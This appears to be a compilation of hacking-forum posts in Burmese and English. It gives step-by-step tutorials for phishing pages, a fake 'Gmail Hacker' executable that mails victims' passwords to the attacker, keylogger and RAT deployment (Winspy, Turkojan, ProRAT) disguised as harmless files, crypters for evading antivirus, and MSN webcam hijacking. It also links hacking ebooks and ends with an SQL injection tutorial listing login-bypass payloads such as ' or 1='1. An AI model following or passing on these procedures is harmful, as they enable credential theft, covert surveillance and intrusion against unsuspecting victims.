index file ထဲ​မှာ​ထပ်​ရှာ​လိုက်​ပါ​အုန်း။

action ထဲ​မှာ​ပါဝင်​တဲ့​စာသား​တွေ​ကို​ဖျက်​ပြီး။ redirect.php ကို​အစားထိုး​ပါ။

အခု​ဆို​ရင်​တော့​သင်​ဟာ webpage အတု​တစ်​ခု​ကို​တည်ဆောက်​ပြီး​သွား​ပါ​ပြီ……..။

Hacker တွေ ပြုလုပ်​ကြ​တဲ့ နည်း​လမ်း​တွေ

၁။ ကွန်ပျူတာ​ခလုတ်​ခုံ​မှ မှတ်တမ်း​ရ​ယူ​ခြင်း (Log Keystoke)

ဒီ ​နည်း​ကတော့ Key logger ပ​ရို​ဂ​ရ​မ်​တစ်​ခု​ကို အသုံးပြု​ပြီး ကွန်ပျူတာ​မှာ အသုံးပြု​သူ​ရိုက်​သ​မျှ​စာ​တွေ​ကို မှတ်ယူ​ထား​တဲ့​နည်း​ဖြစ်​ပါ​တယ်။ ဒီ​နည်း​နဲ့ အသုံးပြု​သူ​ရဲ့ ကိုယ်​ရေး​ကိုယ်​တာ အချက်အလက်​တွေ ရ​ရှိ​သွား​ပါ​တယ်။


၂။ စကားဝှက်​များ ရ​ယူ​ခြင်း (Hack password)

စကားဝှက် ​များ ရ​ယူ​ခြင်း​နည်း အများ​အပြား​ရှိ​ပါ​တယ်။ အသုံး​အများ​ဆုံး​နည်း​ကတော့ SQL injection နည်း​နဲ့ အသုံးပြု​သူ​တွေ စကားဝှက်​အ​ပေး​အများ​ဆုံး​ကို ခန့်​မှန်း ဝင်​ရောက်​တဲ့​နည်း​တွေ ဖြစ်​ပါ​တယ်။ Dictionary Attack နဲ့ Brute Force Attack ဆို​ပြီး နှစ်​ပိုင်း​ခွဲ​ခြား​နိုင်​ပါ​တယ်။ Dictionary Attack ဆို​တာ အဘိဓာန်​ထဲ​မှာ ပါဝင်​တဲ့ စကားလုံး​တွေ​သွင်း​ထည့်​ရင်း ဝင်​ရောက်​တဲ့​နည်း ဖြစ်​ပါ​တယ်။ Brute Force Attack ဆို​တာ Keyboard မှာ ပါဝင်​တဲ့ စာလုံး​တွေ​ကို ပေါင်း​စပ်​တိုက်ခိုက်​ဝင်​ရောက်​တဲ့​နည်း ဖြစ်​ပါ​တယ်။


၃။ မလွယ်ပေါက်​မှ ဝင်​ရောက်​ခြင်း​နည်း (Gain backdoor)

ကွန်ပျူတာ ​ရဲ့ အားနည်း​ချက်​ဟာ​ကွက်​တွေ​က​နေ ဝင်​ရောက်​တဲ့ နည်း​ဖြစ်​ပါ​တယ်။ ဒီ​လို​ဝင်​ရောက်​ရာ​မှာ​လည်း Dictionary Attack နဲ့ Brute Force Attack နည်း​တွေ သုံး​တတ်​ပါ​တယ်။


၄။ တစ္ဆေ​ကွန်​ယက် ဖန်တီး​ခြင်း​နည်း (Create bonet computer)

ဒီ ​နည်း​ကတော့ နိုင်ငံ​အနှံ့အပြား​က ကွန်ပျူတာ​တွေ​ကို botnet ကွန်ပျူတာ​ဗို​င်း​ရပ်​စ် ကူး​စက်​စေ​ပြီး မိမိ​လို​အပ်​တဲ့​အချိန်​ကျ​မှ သားကောင်​ဆာ​ဗာ​တွေ​ကို တိုက်ခိုက်​တဲ့​နည်း ဖြစ်​ပါ​တယ်။ ဒါ​ကို Distribution Deny of Service Attack (DDOS) လို့ ခေါ်​ပါ​တယ်။ DDoS ဖန်တီး​ထား​တဲ့ Service တွေ​ကို Hacker တွေ​ဆီ​က မှောင်ခို​ဝယ်​ယူ​နိုင်​ပါ​တယ်။



၅။ ​အီး​မေး​လ်​များ​မှ ရ​ယူ​ခြင်း​နည်း (Phishing)

အသုံးပြု ​သူ​ရဲ့ ​အီး​မေး​လ်​ထဲ​ကို အတု​အ​ယောင်​စာ​တွေ​ပေး​ပို့​ကာ မိမိ​လို​အပ်​တဲ့ ဆာ​ဗာ​ကို​လာ​ရောက်​စေ​ပြီး စကားဝှက်​တွေ​ရ​ယူ​တဲ့​နည်း ဖြစ်​ပါ​တယ်။ ​ဒါ့​အပြင် ကွန်​ယက်​ထဲ​က​နေ​ပြီး ​အီး​မေး​လ်​တွေ​ကို ကြား​ဖြတ်​ရ​ယူ​နိုင်​တဲ့​နည်း​တွေ​ကို​လည်း အသုံးပြု​ကြ​ပါ​တယ်။

Hacking Ebooks (2)

A Novice's Guide to Hacking (The Mentor)
http://rapidshare.com/files/347775076/hackbeg.pdf.html

Big Book Of Windwos Hacks First Edition (Preston Gralla)
http://rapidshare.com/files/152530066/Big_Book_of_Windows_Hacks.rar

CSS Hacks and Filters (Joseph W. Lowery)
http://rapidshare.com/files/181892738/css_hacks___filters.rar

DNS ID Hacking
http://rapidshare.com/files/347582143/DNS_ID_Hacking.pdf.html

Firefox Hacking (Blake Ross)
http://hotfile.com/dl/5003144/f90a848/Hacking_Firefox.pdf.html

Google Hacking For Peneration Testers (Johnny Long)
http://rapidshare.com/files/192411429/Google_Hacking.rar

Google Hacker's Guide v1.0 (Johnny Long)
http://download386.mediafire.com/2mmeyx1p4sqg/2lwzdjznzye/The_Googl...

Hacking Google Map and Google Earth
http://www.easy-share.com/1904197370/Hacking_Google_Maps_And_Google...

Hacking Guide
http://download392.mediafire.com/wj2wd1btqayg/hnamxzetyez/begin-gui...

Hacking Webpage (Virtual Circuit and Psychotic)
http://download392.mediafire.com/txwb91ioc4sg/tyn2jcwzojj/hackpage.pdf

Hacking From Linux
http://download392.mediafire.com/lxdwbxty1v2g/nozmlizky0d/hackfroml...

Hackmind
http://download392.mediafire.com/jdw4xddtidbg/mzlyytujyty/hackmind.pdf

The alt . 2006/Hack F.A.Q (Voyager)
http://download388.mediafire.com/sefzzyu04x1g/0iezwkznxln/alt-2600-...

KingCripts Hacking Pack

http://www.mediafire.com/?7dkxkubd51v6ev2

http://ifile.it/n5b1yq3/KingCripts_Hacking_Pack.rar

http://www.ziddu.com/download/13740169/KingCripts_Hacking_Pack.rar.html

http://depositfiles.com/files/ob58wkpf7

http://www.mirrorcreator.com/files/0WWCXPFF/

Hacking စာအုပ်​များ

Hack Attacks Revealed A Complete Reference With Custom Security Hacking Toolkit.chm

Hack Attacks Revealed- A Complete Reference with Custom Security Hacking Toolkit (Wiley-2001).pdf

Hack I.T. - Security Through Penetration Testing.chm

Hack IT Security Through Penetration Testing (Addison Wesley-2002).chm

Hack Proofing Linux.pdf

Hack Proofing Your Identity in the Information Age (Syngress-2002).pdf

Hack Proofing Your Network - Internet Tradecraft (Syngress-2000).pdf

Hacker Bible.pdf

Hacker Disassembling Uncovered (A List- 2003).chm

Hacker Disassembling Uncovered.chm

Hacker Web Exploitation Uncovered.chm

Hacker's Delight.chm

Hacker's Desk Reference.pdf

HackerCrackdown.zip

Hackers Beware (NewRiders -2002).pdf

Hackers Beware.pdf

Hackers Delight( Addison Wesley- 2003 ).chm

Hacking - The Art of Exploitation.chm

Hacking Exposed Web Applications.pdf

Hacking Exposed- Network Security Secrets and Solutions (MCGraw-Hill-2001).pdf

Hacking Exposed- Web Applications (MCGraw-Hill-2002).pdf

Hacking Exposed- Windows 2003 Chapter 5.pdf

Hacking Firefox - More Than 150 Hacks, Mods, and Customizations.pdf

Hacking GPS.pdf

Hacking Guide v3.1[www.netz.ru].pdf

Hacking Windows XP.pdf

Hacking Wireless Networks For Dummies.pdf

Hacking a Terror Network.pdf

Hacking for Dummies (John Wiley-2004).pdf

Hacking for Dummies-Access to Other Peoples Systems Made Simple.pdf

Hacking-The Art of Exploitation(No Starch-2003).chm

How to hack Gmail account password

In my previous article How to Hack Gmail account, I mentioned about use of Keylogger software to hack Gmail account password. Gmail Hacker is another hacking software used to hack Gmail account password. The article below illustrates the procedure of using Gmail Hacker software. I have even provided link for Gmail Hacker software download... just read on.

Gmail Hacker to hack Gmail account:

While using Gmail Hacker, you have to create Gmail Hacker.exe file and then send this file to your victim. Tell your victim that this sent Gmail Hacker file is used to hack Gmail account password and that he only needs to fill all the details in Gmail Hacker file. Once, he enters all the details (which includes his Gmail id and password) and hits on "Hack Them", his entered Gmail account information is mailed to you and you can now hack his Gmail account easily.

Follow the procedure below:

1. Free Download Gmail Hacker file to hack Gmail account password.


2. Run Gmail Hacker Builder.exe file to see:

3. Now, enter your Gmail id and password. Here, use the Gmail id where you wanna receive the hacked password of the victim. Gmail Hacker will send hacked Gmail password to this mail id. Hit on Build.

4. Gmail Hacker.exe file will be created in current directory.

5. Send this file to your victim and make him believe that this Gmail Hacker is used to retrieve/hack anyone's Gmail password and that he needs to fill all the fields (which includes his Gmail id and password) to get password.

Once he fills all the information in Gmail Hacker.exe file and hits on Hack Them, his entered Gmail id and password will be mailed to you at the email you've used in Step 3. The mail will look like this:

Thus, you have now successfully got victim's Gmail password and can hack Gmail account easily.

So friends, this was all about the method of using Gmail Hacker software to hack Gmail account password of the victim. You can also use Gmail Keylogging as an alternate way of hacking Gmail. If you have any problem in this tutorial on how to hack Gmail account using Gmail hacker software, please mention it in comments. Enjoy Gmail Hacker to hack Gmail account password... cradit: http://techotoys.blogspot.com/2010/12/gmail-hacker-how-to-hack-gmail-account.html


မှတ်ချက်။ ။ အန်​တီ ​ဗို​င်း​ရပ်​စ် ဆော့​ဖ်​ဝဲ​များ ပိတ်​ထား​ပြီး​မှ ဇ​စ်​ဖြေ​သုံး​ပါ။

Recover/Hack MSN, Hotmail, Windows Live password

MSN Hacker software has been used and searched consistently on web. MSN Hacker is actually password recovery software used to recover lost MSN, Windows Live, Hotmail account password. This MSN Hacker software was introduced on MSN Hacker's site. The article below focusses on methodology to hack/recover password using MSN Hacker software. I have provided link for MSN Hacker software download.

How does MSN Hacker work???

MSN Hacker works by searching for locally stored passwords and displaying them in plain text format. Thus, if your computer has locally stored MSN, windows live or hotmail password, MSN Hacker will scan your computer for such passwords and reveal them in plain text format. A passwords is locally stored on computer if "Remember Me" is checked while logging in to your account.

Functionality of MSN Hacker :

* MSN password decrypter (decrypts MSN Messenger password)

* MSN passwords decoder (decodes MSN password)

* MSN password finder (finds MSN Messenger passwords)

* Recover MSN Messenger password (MSN passwords recovery)

* MSN Messenger password ripper (rips MSN passwords)

* Multiple profiles (MSN ID’s) are supported.

How to use MSN Hacker???

1. Free Download MSN Hacker to hack msn, hotmail password.
Password: techotips.blogspot.com
Thanks to wann and Jeigh for reminding me of password via comments.

2. Install MSN hacker software on your computer and then run it.

3. You will get something like:

4. Now, hit on Recover Password and MSN Hacker will start scanning your computer and display all the stored passwords in plain text format as shown above.

So friends, if you have lost or forgotten MSN, Windows live or hotmail account password or wanna hack your friends' password, try out this MSN Hacker software. The only thing you have to do is run this software and hit on Recover password. If you have any query about this MSN Hacker software used to hack MSN, Windows live, hotmail password, please mention it in comments.

Enjoy MSN hacker to hack MSN password...

How to hack Myspace, Facebook account password: Winspy Keylogger

In my article How to hack Myspace account/profile password, I mentioned about popular ways used to hack Myspace account/profile passwords. In these ways, keylogging was the easiest. So, I’ll mention about Keylogging as Myspace hacking method over here. In this article, I will emphasize on Win-Spy keylogger as Myspace hacking software.
So lets start…

Method to use Winspy keylogger to hack email (Myspace) account passwords :
1. First of all download Winspy keylogger software from link given below:

Download Winspy Keylogger

2. After downloading, run the program. On running, a dialog box will be prompted. Now, create an userid and password on first run and hit apply password. Remember this password as it is required each time you start Winspy and even while uninstalling.

3. Now, another box will come, explaining you the hot keys(Ctrl + Shift + F12) to start the Winspy keylogger software.

4. Now, on pressing hot keys, a login box will come asking userid and password. Enter them and click OK.

5. Now, Winspy’s main screen will be displayed as shown in image below:

6. Select Remote at top, then Remote install.

7. On doing this, you will get a popup box as shown in image. Now, fill in the following information in this box.

.user - type in the victim’s name
.file name - Name the file to be sent. Use the name such that victim will love to accept it.
.file icon - keep it the same
.picture - select the picture you want to apply to the keylogger.

In the textfield of “Email keylog to” , enter your email address. Hotmail accounts do not accept keylog files, so use another email id.
Thats it. This much is enough. If you want, can change other settings also.

8. After you have completed changing settings, click on “Create Remote file”. Now just add your picture to a winrar archive. Now, what you have to do is only send this keylog file to your victim. When victim will open this file, all keystrokes typed by victim will be sent to your email inbox. Thus, you will get all his passwords and thus will be able to hack his email accounts and even Myspace account password.

So guys, i hope you have got the trick on how to hack Myspace and other email account passwords from this Myspace hacking article. If you have any comment or views about article, feel free to mention it in comments section.

How to bypass antivirus detection

I have already written about RATs in my previous article on Turkojan 4. I have mentioned about antiviruses detecting RATs as hacking softwares and hence, hacker has to use Crypters to avoid antivirus detection for RATs. So, read on to know more on Crypters - hacking software for bypassing antivirus detections.

What is Crypter???

As said above, Crypter is hacking program or application used to hide our viruses or RATs from antiviruses so that they are not detected and deleted by antiviruses. Thus, a crypter is a program that allow users to crypt the source code of their program. Generally, antiviruses work by splitting source code of application and then search for certain string within source code.

If AV detects any certain malicious strings, it either stops scan or deletes the file as virus.

What does Crypter do???

Crypter simply assigns hidden values to each individual code within source code. Thus, the source code becomes hidden. Hence, our sent crypted trojans and viruses bypass antivirus detection and our purpose of hacking them is fulfilled without any AV hindrance. Not only does this crypter hide source code, it will unpack the encryption once the program is executed.

What is FUD ???

FUD is acronym for Fully UnDetectable. With increased use of Crypters to bypass antiviruses, AV became more advanced and started including crypter definitions to even detect crypter strings within code. So, use of crypter to hide RATs became more complicated as nowadays, no publicly available crypter is FUD.

So, if you crypt RATs with publicly available crypters, they are bound to be detected by antiviruses. This is because most FUD crypters remain "FUD" for maximum of one or two days after their public release. To obtain FUD crypters, you have to either search for it in hacking forums or make one (which is somewhat tedious.. I am working on this).

How do I get one Crypter???

There are many crypters out on web. But, most of them are not FUD. So, as stated above, either you have to search for one FUD crypter or make one. I have one FUD, but sorry I can't give out. Just check out this Crypter below.

Free Download Crypter here (Pretty old one, just to give you rough idea about Crypters).


In my next coming articles, I will post many FUD cypters and methodology to use them.

Enjoy Crypter download...

Efficient Remote Access software

In my previous article on PRORAT 1.9, I mentioned about PRORAT which is Remote Administration Tool used to access or hack computer remotely. Turkojan 4 is new generation RAT used more commonly and conveniently than PRORAT. In PRORAT, you have to know the IP Address of victim computer and then connect to remote computer. But, Turkojan 4 is a efficient RAT which alerts you whenever the victim alive... no need to find victim computer IP address - Turkojan 4 itself finds the remote IP address.

Turkojan 4 - Remote Administration Tool:

Turkojan 4 is latest edition of Turkojan available today. It works same as PRORAT in which you have to create a backdoor server and then send this backdoor trojan to victim. Once, the victim installs the server, this server opens required port on victim compter and you can use this opened port to hack computer remotely using RAT.

But for PRORAT you need to track IP address of victim and then try to connect to remote server on victim computer. I faced problems when victim is using Dynamic IP address (changing IP address). But, Turkojan automatically alerts you when victim is alive and has DYNDNS service which automatically traces dynamic IP Address.

Where do I download Turkojan???

You can download Turkojan from its official site. But, they are providing you with free version which is restricted and has less features. For full version Turkojan 4 download, ofcourse, they demand money. So, I have provided you the link for Turkojan 4 software download for free.

Download Turkojan 4

How do I use Turkojan???

Yes.. I will write an article on How to use Turkojan 4 - a Turkojan tutorial to help you hack computer remotely. I will mention about the link to Turkojan tutorial over here. Just keep checking...

Turkojan 4, as already said, is most effective RAT I found. So, download Turkojan 4 and try it to hack computer remotely. If you have any problem in using Turkojan 4 to access computer remotely, please mention it in comments.

Enjoy Turkojan 4 download...

Remote pc access software

1. Download PRORAT 1.9 software for remote pc access.

Password for inner files: pro (Thanks Nalin and Mahdi for your valuable feedback).

2. Now, the unzipped file will contain Prorat.exe file. Run the file on your computer.

3. You will see something like this:

4. Now, we have to create a server to send it to remote computer for remote pc access. So, click on Create ->Create Prorat server.

5. Now, you will get something like:

6. Go to no-ip.com and register for an account.

7. Now, in Pro connective notification, enter in IP(DNS) address, the link provided to you by no-ip and let all remaining fields remain unchecked.

8. Alongwith using Pro connective notification, you can even use your mail address to confirm about server installation.

9. You can even bind the server with a specific file to prevent victim knowing about the server installation on his computer.

10. To change server default icon, click on "Server icon" on left option pane and select any suitable icon according to binded file.

11. Now, when all things are done, hit on "Create server" and you will get server created in Prorat directory. This server is used for remote pc access.

12. This ends server creation part over here. Just refer Remote pc access tutorial for more information.... the best PRORAT 1.9 tutorial I found.

Now, when you have created PRORAT server, next step is to send this server to victim computer and then use PRORAT 1.9 for remote pc access. I will explain in my next PRORAT tutorial about how to connect to remote PRORAT server on remote victim computer and then use this for remote pc access. If you have any problem in this PRORAT 1.9 tutorial for remote pc access, please mention it in comments section.

Enjoy Prorat 1.9 tutorial for remote pc access software...

How to hack MSN Webcam

MSN webcam hacker is a software is used to accomplish msn webcam hack. Thus, using this software you can hack msn webcam of the victim. I have provided link for software download... just read on.

MSN Webcam Hacker-hack MSN Webcam:

It's very easy to hack msn using this "Webcam Hacker". Simply follow the steps below to hack MSN webcam.

1. Free Download MSN Webcam Hacker software to hack webcam on MSN


2. Unzip the file to obtain MSN Webcam Hacker to hack MSN webcam.

3. In "Hack Webcam" program folder, you will see two files:
a. Server
b. Client

4. Now, crypt this server as I have explained in my article Crypter to hide our server trojan from victim Antivirus and then bind this crypted server with say any .mp3 file using Binder software. Now, send this binded trojan containing file to your victim and ask him to run it on his computer to hack webcam on MSN.

5. Once he installs server on his computer, run client.exe on your computer to see something like this:

6. Enter his IP address and keep port no. same. Hit on "Connect" and then "Start Capture". Client will start downloading webcam streaming from server on victim computer. Thus, you will be able to record and thus hack webcam on msn.

7. You can try this on yourself by simply running server.exe application on your computer first and then run client.exe and hit on "Connect" (keeping 127.0.01 as IP). Then simply click on "Start Capture".

Note: Your antivirus will go mad on Webcam Hacker and will show your around 3-4 virus alerts. If you're cautious about safety, install Deep Freeze software and then try out this software to hack MSN webcam.

That's it friend. I hope you will find this tutorial on MSN Webcam hacker to hack MSN webcam easy. If you have any problem in using this MSN webcam hack, please mention it in comments.

Enjoy MSN Webcam hack to hack MSN Webcam...

ု

--- မိတ်​ဆက်---

Injection နဲ့​ပက်​သက်​တဲ့​အပိုင်း​ကို အ​တွေ့​အ​ကြုံ မ​ရင့်​ကျက်​သေး​တဲ့​သူ​တွေ၊ အ​တွေ့​အ​ကြုံ​ရှိ​ပြီး​တဲ့​သူ​တွေ​ပါ နားလည်​နိုင်​အောင် ကျွန်​တော့်​ရဲ့ အမြင်​နဲ့ နဲ​နဲ​လောက် Tutorial တစ်​ခု​အ​ဖြင့်​ရေးသား​လိုက်​ပါ​တယ်။ SQL injectiong နဲ့​ပက်​သက်​တဲ့ Tutorial တွေ​ကို Google မှာ ရှာ​ကြည့်​လိုက်​ပါ​က တောင်​လို​ပုံ​နေ​ပါ​တယ်။ အားလုံး​ကတော့ အတူတူ​ပါ​ပဲ... SQL injector တွေ​ဖြစ်​စေ​ရန်​တစ်​ခု​အတွက်​မဟုတ်​ပဲ SQL Injection နဲ့​အတူ php နဲ့ mysql functions လေး​တွေ​ကို သိ​ကာ security ပိုင်း​ကို ထိန်း​သိန်း​ကာ​ကွယ်​နိုင်​ရန်​အတွက် ရည်​ရွယ်​၍ Computer ဝေါဟာရ​ကို မြန်မာ​လို တိုက်ရိုက်​ဘာသာ​ပြန်​ရ​တာ နဲ​နဲ​တော့ နား​ရှုပ်​သွား​နိုင်​မယ်။ ဒါပေမဲ့ အတတ်​နိုင်​ဆုံး​တော့ နားလည်​အောင် ရှင်း​ပြ​ပေးလိုက်​ပါ​တယ်။ SQL Injection ကို​လေ့​လာ​တဲ့​အခါ​မှာ အခြေ​ခံ Web Developement ပိုင်း​အခြေ​ခံ​ရှိ​ဖု့​ိ​တော့​လို​ပါ​လိမ့်​မယ်.. ဒီ tutorial အတွက် လို​အပ်​တာ​ကတော့ php နဲ့ sql အကြောင်း​သိ​ထား​ရင် နားလည်​လောက်​ပါ​တယ်။

---DATABASE ဆိုတာဘာလဲ?---
ရိုး ​ရိုး​ရှင်း​ရှင်း​ပါ​ပဲ... Database ဆို​တာ​ဘာ​လဲဆို​ရင် Database ဆို​တာ အချက်အလက် Data တွေ​စုစည်း​သိမ်းဆည်း​ထား​တဲ့ Application တစ်​ခု​ပါ​ပဲ... Application Programming Interface (API) တွေ​ကို တည်ဆောက် အသုံးပြု​မယ် ထိန်းသိမ်း သိမ်းဆည်း​ထား​မယ်။ Database(DB) servers တွေ​ဟာ Web development လုပ်​ငန်း​တွေ နဲ့​လည်း ပေါင်း​စည်း​အသုံးပြု​လို့​ရ​တဲ့​အတွက် ၎င်း​အ​ထဲ​က data တွေ​ကို ထုတ်ယူ​အသုံးပြု၊ ကြည့်​ရှု့​ဖို့​ဆို​တာ ခက်​ခဲ့​တဲ့​ကိစ္စ​တစ်​ခု​တော့​မဟုတ်​ပါ​ဘူး။ Database အ​ထဲ​မှာ usernames, passwords စ​သည် တွေ​လို အရေးကြီး​တဲ့ အချက်အလက်​တွေ​ကို​လည်း သိမ်းဆည်း​နိုင်​တာ ဖြစ်​တဲ့​အတွက် Database ရဲ့ လုံခြုံ​ရေး​ဟာ​လည်း အလွန်​ကို​အရေးကြီး​ပါ​တယ်။ ထိန်းသိမ်း​မှု ညံ့​ဖျင်း​တဲ့ database တစ်​နည်း​အား​ဖြင့် အမှတ်​တ​မဲ့​ဖြစ်​စေ၊ သတိ​မ​မှု​၍​သော်လည်းကောင်း၊ အကြောင်း​ကြော​င်း​အမျိုး​မျိုး​ကြောင့် programmer တွေ​ရေးသား​ထား​တဲ့ code တွေ​ရဲ့ လွဲ​မှား​မှု​တွေ ကြောင့် ဒီ​လို​ဟာ​ကွက်​တွေ ဖြစ်​ပေါ်​ကာ database ထဲ​ကို အခြား တရားမ​ဝင် ဝင်​ရောက်​သူ​တို့​အား လမ်း​ဖွင့်​ပေး​သ​လို​ဖြစ်​သွား​တတ်​ပါ​တယ်။ DB servers တွေ​အများ​ကြီး​ရှိ​တဲ့​အ​ထဲ​မှာ ဒါ​လေး​တွေ​က အသုံး​များ​တာ​လေး​တွေ​ပါ။
MySQL(Open source),
MSSQL,
MS-ACCESS,
Oracle,
Postgre SQL(open source),
SQLite စ​သည်​ပေါ့...

Database ရဲ့ တည်ဆောက်​ပုံ​လေး​ကို မြင်​နိုင်​အောင်​လို့ ဇယား​လေး​နဲ့​ပြ​ထား​တာ​ပါ။

--- SQL INJECTION ဆို​သည်မှာ?---
SQL injection ဆို​တာ​ကတော့ ယနေ့​ခေတ် အင်​တာ​နက်​စာ​မျက်နှာ​ပေါ်​မှာ အဖြစ်​အများ​ဆုံး web application အမှား​ဖြစ်​ပါ​တယ်။ ၎င်း web application အမှား​တစ်​ခု​မှ​နေ​၍ တရားမ​ဝင် ဝင်​ရောက်​အသုံးပြု​သူ​တွေ (Hackers) က မိမိ​တို့​ရဲ့ အရေးကြီး​တဲ့ အချက်အလက်​တွေ​ကို ခိုး​ယူသွား​နိုင်​ပါ​တယ်။ ဒါ​ကြောင့် SQL injection ဆို​တာ web or db server တို့​ရဲ့ အမှား​ကြောင့်​မဟုတ်​ပဲ အ​တွေ့​အ​ကြုံ​မဲ့၊ အရေ​အချင်း ညံ့​ဖျင်း​တဲ့ programming ရေး​ဆွဲ​သူ​တွေ​ကြောင့်​သာ​ဖြစ်​ပါ​တယ်။ ဒီ​နည်း​လမ်း​က အဝေး​တစ်​နေရာ​က​နေ application, web server ကို အ​လွယ် ကူ​ဆုံး​ထိန်း​ချုပ်​နိုင်​ပါ​တယ်။ ဒီ SQL injection မှာ ပုံစံ​အမျိုး​မျိုး​သော SQL commands တွေ နဲ့ web page က​နေ အမျိုး​မျိုး​သော data တွေ​ကို ထုတ်ယူ​နိုင်​ပါ​တယ်။

ဥပမာ ​တစ်​ခု​အနေ​နဲ့​ပြော​မယ်​ဆို​ရင် ကျွန်တော်​တို့​က Company တစ်​ခု​ရဲ့ Network တစ်​ခု​ကို​ဝင်​ရောက်​တော့​မယ်​ဆို​ရင် port scanner တွေ​နဲ့ sanner ဖတ်​ပြီး အမှား​တွေ​နဲ့ ပွင့်​ဟ​နေ​တဲ့ port က​နေ ဝင်​ရောက်​သွား​နိုင်​ပါ​တယ်။ ဒါပေမဲ့​လည်း အင်​တာ​နက်​နဲ့ ချိတ်ဆက်​ထား​တဲ့ Web Server (Host Sever) တစ်​ခု​က port 80 လောက်​ပဲ​ဖွင့်​မယ်၊ တစ်​ခြား security ပိုင်း​တွေ ပေး​ထား​မယ်​ဆို​ရင် port scanner ဘယ်လောက်​ကောင်း​ကောင်း အလုပ်​ဖြစ်​မှာ​မဟုတ်​ပါ​ဘူး၊ ဝင်​ရောက်​ဖို့​ခက်​သွား​ပါ​လိမ့်​မယ်( ခက်ခဲ​နေ​မယ် )... ဒါ​ဆို​ရင် Web Hacking ကို ဦးတည်​ပြီး​ပြောင်း​ကြည့်​ရ​ပါ​လိမ့်​မယ်... Web Hacking လို့​ပြော​ရင် တော်တော်​များ​များ​ကတော့ SQL Injection ကို​ပထမ​ဦးစွာ​ပြေး​မြင်​ကြ​မှာ​ပါ​ပဲ... ဟုတ်​တယ်​လေ.. SQL Injection က​တစ်​ခြား​ဘာ​မှ​မ​လို​ဘူး Web Browser တစ်​ခု​ပဲ​လို​တယ်...

---ရှောင်​ကွင်း ဝင်​ရောက်​ခြင်း---
Site တွေ​မှာ username, password တွေ​နဲ့ login ဝင်​ခိုင်း​တယ်​ဆို​တာ site အ​ထဲ​မှာ ရှိ​တဲ့ content တွေ​ကို မှတ်ပုံတင်​ထား​တဲ့​သူ (username & password ရှိ​ထား​တဲ့​သူ) တွေ​ကို​သာ ကြည့်​ရှု​အသုံးပြု​ခွင့်​ပေး​ထား​တာ​ပါ။ အကယ်၍ မိတ်ဆွေ​က username & password မ​ရှိ​ပဲ ရှိ​သကဲ့သို့ ဝင်​ရောက်​အသုံးပြု​မယ် (user registration မ​လုပ်​ပဲ ဝင်​ရောက်​တယ်) ဆို​ရင် ဒါ​ကို BYPASSING LOGINS လုပ်​တယ်​လို့​ခေါ်​ပါ​တယ်။ ဒါ​ကတော့ programmer ရဲ့ login မှာ​စီ​စစ်​မှု မ​သေချာ​လို့ ဖြစ်​တဲ့​အတွက် ကံကောင်း​ထောက်မ​စွာ​နဲ့ User name နဲ့ Password ကို​မ​သိ​ပဲ login ဝင်​လို့​ရ​သွား​ပါ​လိမ့်​မယ်။

ဥပမာ​တစ်​ခု​အနေ​နဲ့ ကြည့်​မယ်​ဆို​ရင် username က admin ဖြစ်​ပြီး password က 12345 ဆို​ကြ​ပါ​စို့... ဒါ​ဆို​ရင် SQL query က
SELECT USER from database WHERE username='admin' AND password='12345' ဆို​ပြီး​ဖြစ်​သွား​ပါ​လိမ့်​မယ်..... အကယ်၍ အပေါ် SELECT command တန်ဖိုး​က မှန်​တယ်​ဆို​ရင် site ထဲ​ကို ဝင်​ခွင့်​ပြု​မှာ​ဖြစ်​ပါ​တယ်။ အကယ်၍ အထက်​ပါ​ပြော​ခဲ့​သ​လို programmer က login မှာ​မှန်ကန်​တဲ့​စီ​စစ်​မှု​မ​ရှိ​ရင် Hacker တွေ​က အောက်​ပါ​အတိုင်း ဝင်​ရောက်​သွား​နိုင်​ပါ​တယ်။

username:a or 1=1--
password:blank

SQL query မှာ​တော့

SELECT USER from database WHERE username='a' or 1=1-- AND password=''

ဒါ​က comment operator ပါ အဲ့​လို​ပဲ အခြား comment operator က /* ဖြစ်​ပါ​တယ်။

SELECT USER from database WHERE username='a' or 1=1

1=1 က အ​မြဲ​တန်း query ကို true ဖြစ်​စေ​ပြီး OR ကတော့ query တစ်​ခု​က true ဖြစ်​တဲ့​အတွက် အခြား​တစ်​ခု​ကို​လည်း true ဖြစ်​သွား​စေ​ပါ​တယ်​ဒါ​ကြောင့် 'a' ဆို​တဲ့ user ဟာ DB မှာ​မ​ရှိ​တောင်​မှ ဒီ query က true ဖြစ်​ကာ site admin ကို​ဝင်​ရောက်​ခွင့်​ပေး​သွား​ပါ​လိမ့်​မယ်... ဒီ​လို​နည်း​နဲ့ Vulnerable ဖြစ်​တဲ့ site တွေ​အတွက် အောက်​ပါ​အတိုင်း စမ်း​စစ်နိုင်​ပါ​သေး​တယ်...

username:' or 1='1 password:' or 1='1
username:' or '1'='1' password:' or '1'='1'
username:or 1=1 password:or 1=1

--- ​လျို့​ဝှက်ထား​သော Data များ​ကို ဝင်​ရောက်​အသုံးပြု​ခြင်း---
SQL injection က အခု​လို bypassing logins တစ်​ခု​တည်း​မဟုတ်​ပဲ DB servers က​နေ ​လျို့​ဝှက်​စွာ​သိမ်းဆည်း​ထား​တဲ့ Data တွေ​ကို ရ​ယူ​နိုင်​ပါ​တယ်... အနည်းငယ်​ရှုပ်​ထွေး​နေ​မှာ​ဖြစ်​တဲ့​အတွက် နဲ​နဲ​လေး အ​ထူး​ဂရုပြု​ပြီး​တော့ လေ့​လာ​ကြည့်ပါ။ အောက်​ပိုင်း​မှာ လက်တွေ့​စမ်း​လို့​ရ​အော် site link နဲ့ တ​ကွ ဖော်​ပြ​ပေး​ထား​ပါ​တယ်။

---အားနည်း​ချက် အမှား​များ ရှာဖွေ​စစ်ဆေး​ခြင်း---
Site တစ်​ခု​ကို​ရှာ​လိုက်​မယ်...
In PHP ==>>
www.site.com/article.php?id=5

id variable assign လုပ်​ထား​တဲ့ နောက်​နား​က ' (apostrophe) လေး​တစ်​ခု​ကို ထည့်​လိုက်​ပါ​မယ်..

www.site.com/article.php?id=5'
ဒီ​လိုလို စမ်း​တဲ့​နေရာ​မှာ
Integer Based

www.site.com/script.php?param=36'
www.site.com/script.php?param='36'
www.site.com/script.php?param=(12+24)
www.site.com/script.php?param=%
www.site.com/script.php?param=36'a

String Based

www.site.com/script.php?param=Text'--
www.site.com/script.php?param=Te'+'xt
www.site.com/script.php?param=Tex%
ဆို​ပြီး​ရှိ​ပါ​တယ်.. အဆင်​ပြေ​သ​လို စမ်းသပ်​နိုင်​ပါ​တယ်...

